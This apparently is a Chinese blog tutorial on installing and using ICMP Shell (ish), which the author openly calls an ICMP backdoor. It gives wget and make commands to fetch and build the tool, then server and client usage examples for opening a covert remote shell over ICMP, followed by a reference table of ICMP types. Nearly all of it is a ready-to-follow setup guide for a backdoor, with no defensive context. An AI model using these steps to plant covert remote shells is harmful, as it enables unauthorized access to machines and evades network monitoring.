linux安装ICMP shell（icmp后门）

一：安装ICMP SHELL

        首先下载ish-v0.2.tar.gz程序，下载地址：http://cdnetworks-kr-1.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz，或者可以到附件中去下载。

 

wget http://cdnetworks-kr-1.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz
tar zxvf ish-v0.2.tar.gz
cd ISHELL-v0.2/
make linux

第四步可根据自己是实际情况而定，你可以先执行make命令，然后它会给你提示：

我这里是redhat系统，所以make linux。

好了，现在就安装好了，简单吧。

二：ICMP SHELL的应用

      大家也可以看README文件。

Usage: Server
=============
ICMP Shell v0.1  (server)   -   by: Peter Kieltyka
usage: ./ishd [options]

options:
 -h               Display this screen
 -d               Run server in debug mode
 -i           Set session id; range: 0-65535 (default: 1515)
 -t         Set ICMP type (default: 0)
 -p   Set packet size (default: 512)

example:
./ishd -i 65535 -t 0 -p 1024

Usage: Client
=============
ICMP Shell v0.1  (client)   -   by: Peter Kieltyka
usage: ./ish [options]

options:
 -i           Set session id; range: 0-65535 (default: 1515)
 -t         Set ICMP type (default: 0)
 -p   Set packet size (default: 512)

example:
./ish -i 65535 -t 0 -p 1024 host.com

ICMP Type Reference
===================

Here is a list of icmp types that you can use with ISHELL:

Type    Name                                    Reference
----    -------------------------               ---------
  0     Echo Reply                               [RFC792]
  1     Unassigned                                  [JBP]
  2     Unassigned                                  [JBP]
  3     Destination Unreachable                  [RFC792]
  4     Source Quench                            [RFC792]
  5     Redirect                                 [RFC792]
  6     Alternate Host Address                      [JBP]
  7     Unassigned                                  [JBP]
  8     Echo                                     [RFC792]
  9     Router Advertisement                    [RFC1256]
 10     Router Selection                        [RFC1256]
 11     Time Exceeded                            [RFC792]
 12     Parameter Problem                        [RFC792]
 13     Timestamp                                [RFC792]
 14     Timestamp Reply                          [RFC792]
 15     Information Request                      [RFC792]
 16     Information Reply                        [RFC792]
 17     Address Mask Request                     [RFC950]
 18     Address Mask Reply                       [RFC950]
 19     Reserved (for Security)                    [Solo]
 20-29  Reserved (for Robustness Experiment)        [ZSu]
 30     Traceroute                              [RFC1393]
 31     Datagram Conversion Error               [RFC1475]
 32     Mobile Host Redirect              [David Johnson]
 33     IPv6 Where-Are-You                 [Bill Simpson]
 34     IPv6 I-Am-Here                     [Bill Simpson]
 35     Mobile Registration Request        [Bill Simpson]
 36     Mobile Registration Reply          [Bill Simpson]
 37     Domain Name Request                     [Simpson]
 38     Domain Name Reply                       [Simpson]
 39     SKIP                                    [Markson]
 40     Photuris                                [Simpson]
 41-255 Reserved                                    [JBP]

最后给大家截图为证。